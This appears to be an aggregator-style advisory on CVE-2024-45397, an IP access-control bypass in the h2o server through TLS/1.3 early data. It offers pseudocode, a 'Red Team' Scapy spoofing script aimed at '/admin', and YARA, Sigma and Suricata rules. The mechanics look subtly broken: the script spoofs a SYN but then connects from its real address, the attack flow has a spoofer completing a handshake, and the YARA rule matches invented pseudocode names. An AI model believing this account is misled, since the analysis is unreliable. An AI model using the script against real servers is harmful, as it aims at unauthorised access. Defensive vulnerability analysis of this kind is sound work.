CVE-2024-45397
Executive Summary
CVE-2024-45397 is a medium-severity vulnerability in the h2o HTTP server that allows attackers to bypass IP-address-based access controls when using TLS/1.3 early data over TCP Fast Open or QUIC 0-RTT. The flaw enables an attacker on the network to spoof the source IP address of HTTP requests, effectively bypassing access control lists (ACLs) that rely on IP address verification. The vulnerability has been addressed in commit 15ed15a. Users are advised to disable TCP Fast Open and QUIC as a mitigation until patching is possible.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the h2o HTTP server, which is an open-source project written in C. It is not distributed via NPM, PyPI, Go, or Ruby package managers. The primary supply chain risk is from organizations that compile h2o from source or use it as a dependency in custom builds. The patch is available in the official repository, and users should update to the latest commit.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – The attacker must be on the same network segment to spoof packets.
- Attack Complexity: High (AC:H) – Requires knowledge of the network topology and ability to craft spoofed packets.
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
- Integrity Impact: Low (I:L) – Attacker can send requests that appear to come from allowed IPs.
- Availability Impact: Low (A:L) – No direct DoS, but abuse of access controls could lead to resource exhaustion.
Threat Level: Medium. The vulnerability requires network access and specific protocol conditions (TLS/1.3 early data, TCP Fast Open, or QUIC 0-RTT). However, if exploited, it can completely bypass IP-based access controls, which are a common security layer.
Deep Dive & Mechanics
The vulnerability lies in how h2o handles HTTP requests that arrive via TLS/1.3 early data (0-RTT) over TCP Fast Open or QUIC. In these protocols, the initial request data can be sent before the TLS handshake is fully complete. The server processes this early data without verifying the source IP address against the access control list.
Root Cause: The access control check is performed after the TLS handshake completes, but the early data is already processed. If the attacker spoofs the source IP in the TCP or QUIC packet, the server sees the spoofed address and allows the request, even though the actual connection comes from a blocked IP.
Attack Flow:
- Attacker identifies a target h2o server with IP-based access controls (e.g., only allowing requests from
192.168.1.0/24). - Attacker crafts a TCP SYN packet with a spoofed source IP (e.g.,
192.168.1.100) and sends it to the server. - The server responds with SYN-ACK, and the attacker completes the handshake (TCP Fast Open).
- The attacker sends a TLS/1.3 ClientHello with early data (0-RTT) containing an HTTP request.
- The server processes the early data, checks the spoofed source IP against the ACL, and allows the request.
- The attacker can now execute arbitrary HTTP requests that appear to come from an allowed IP.
Affected Components:
- TLS/1.3 early data handling
- TCP Fast Open (TFO) processing
- QUIC 0-RTT processing
- IP-based access control module
Vulnerable vs. Patched Code
Vulnerable Code (before commit 15ed15a):
// Simplified pseudocode of the vulnerable logic
void handle_early_data(connection *conn, request *req) {
// Process early data before TLS handshake completes
if (is_early_data(conn)) {
process_request(req); // Access control check happens here
}
}
void process_request(request *req) {
if (check_ip_acl(req->source_ip)) {
handle_request(req);
} else {
reject_request(req);
}
}
Patched Code (after commit 15ed15a):
// Simplified pseudocode of the patched logic
void handle_early_data(connection *conn, request *req) {
if (is_early_data(conn)) {
// Defer processing until TLS handshake completes
queue_early_data(req);
}
}
void on_tls_handshake_complete(connection *conn) {
// Now verify the actual source IP (not spoofed)
if (check_ip_acl(conn->real_source_ip)) {
process_queued_early_data(conn);
} else {
discard_early_data(conn);
}
}
The patch moves the access control check to after the TLS handshake completes, ensuring the real source IP (obtained from the TCP/QUIC connection) is used instead of the potentially spoofed IP in the early data.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Network access to the target h2o server (same subnet or routing path)
- Ability to send raw IP packets (requires root on Linux)
- Target server must have TLS/1.3 early data enabled with TCP Fast Open or QUIC
Exploitation Steps:
- Identify Target: Scan for h2o servers with open ports (e.g., 443 for HTTPS, 4433 for QUIC).
- Craft Spoofed Packet: Use a tool like
scapyorhping3to send a TCP SYN with a spoofed source IP that is allowed by the ACL. - Send Early Data: Use a custom script to send TLS/1.3 ClientHello with early data containing an HTTP request (e.g.,
GET /admin). - Verify Bypass: Check if the server responds to the request, indicating the ACL was bypassed.
Example Scapy Script:
from scapy.all import *
import ssl
import socket
# Spoofed source IP (must be in the ACL)
spoofed_ip = "192.168.1.100"
target_ip = "10.0.0.5"
target_port = 443
# Craft TCP SYN with spoofed IP
ip = IP(src=spoofed_ip, dst=target_ip)
syn = TCP(sport=RandShort(), dport=target_port, flags="S", options=[('MSS', 1460)])
packet = ip/syn
reply = sr1(packet, timeout=2)
# Complete TCP handshake (simplified)
# ... (omitted for brevity)
# Send TLS/1.3 early data
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.set_ciphers('TLS_AES_128_GCM_SHA256')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
tls_sock = context.wrap_socket(sock, server_hostname=target_ip)
# Send early data (0-RTT)
tls_sock.sendall(b"GET /admin HTTP/1.1\r\nHost: internal\r\n\r\n")
response = tls_sock.recv(4096)
print(response)
Blue Team
Detection Steps:
- Monitor for Spoofed Packets: Enable IP spoofing detection on network devices (e.g., uRPF on routers).
- Log Early Data Requests: Enable detailed logging for TLS/1.3 early data and QUIC 0-RTT requests.
- Correlate Source IPs: Compare the source IP in the early data with the actual connection IP (obtained from TCP/QUIC handshake).
- Alert on Mismatches: Generate alerts when the early data source IP differs from the connection source IP.
Mitigation Steps:
- Disable TCP Fast Open: Set
tcp-fastopento0in h2o configuration. - Disable QUIC: Remove or comment out QUIC listener configuration.
- Apply Patch: Update h2o to commit 15ed15a or later.
- Network Segmentation: Restrict network access to the h2o server to trusted subnets only.
Indicators of Compromise (IOCs)
Network IOCs:
- TCP packets with SYN flag and spoofed source IP (detectable via uRPF)
- TLS/1.3 ClientHello with early data (0-RTT) from unexpected IPs
- QUIC 0-RTT packets with spoofed source IP
- HTTP requests to restricted endpoints (e.g.,
/admin,/config) from IPs that normally do not access them
Log IOCs:
- h2o access logs showing requests from IPs that are not in the ACL but were allowed
- Connection logs showing mismatched source IPs between early data and handshake
File IOCs:
- Modified h2o configuration files (e.g.,
h2o.conf) with disabled ACLs - Unusual h2o binary versions (pre-patch)
- Modified h2o configuration files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_45397_H2O_Early_Data_Bypass {
meta:
description = "Detects h2o server binary vulnerable to CVE-2024-45397"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256: <insert hash of vulnerable binary>"
strings:
$vuln_func = "handle_early_data" ascii wide nocase
$acl_check = "check_ip_acl" ascii wide nocase
$early_data = "is_early_data" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CVE-2024-45397 - H2O Early Data IP Spoofing Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests using TLS/1.3 early data with spoofed source IPs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: h2o
detection:
selection:
http.method: "GET"
http.url: "/admin*"
tls.version: "1.3"
tls.early_data: true
condition: selection
falsepositives:
- Legitimate use of early data from trusted IPs
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"CVE-2024-45397 H2O Early Data IP Spoofing Attempt"; flow:to_server; tls.version:1.3; tls.handshake.type:1; content:"|16 03 01|"; depth:3; content:"|01 00 00 00|"; within:4; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation:
- Disable TCP Fast Open in h2o configuration:
tcp-fastopen: OFF - Disable QUIC listener: Remove or comment out
quic:section inh2o.conf - Restart h2o service
Permanent Fix:
- Update h2o to the latest commit (commit 15ed15a or later)
- Rebuild from source:
git pull && cmake --build . - Verify the fix by testing early data requests with spoofed IPs
Long-Term Recommendations:
- Implement additional access controls (e.g., TLS client certificates, API keys)
- Use network-level anti-spoofing measures (e.g., uRPF, ACLs on routers)
- Monitor for early data usage and alert on anomalies
- Regularly update h2o to the latest version
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert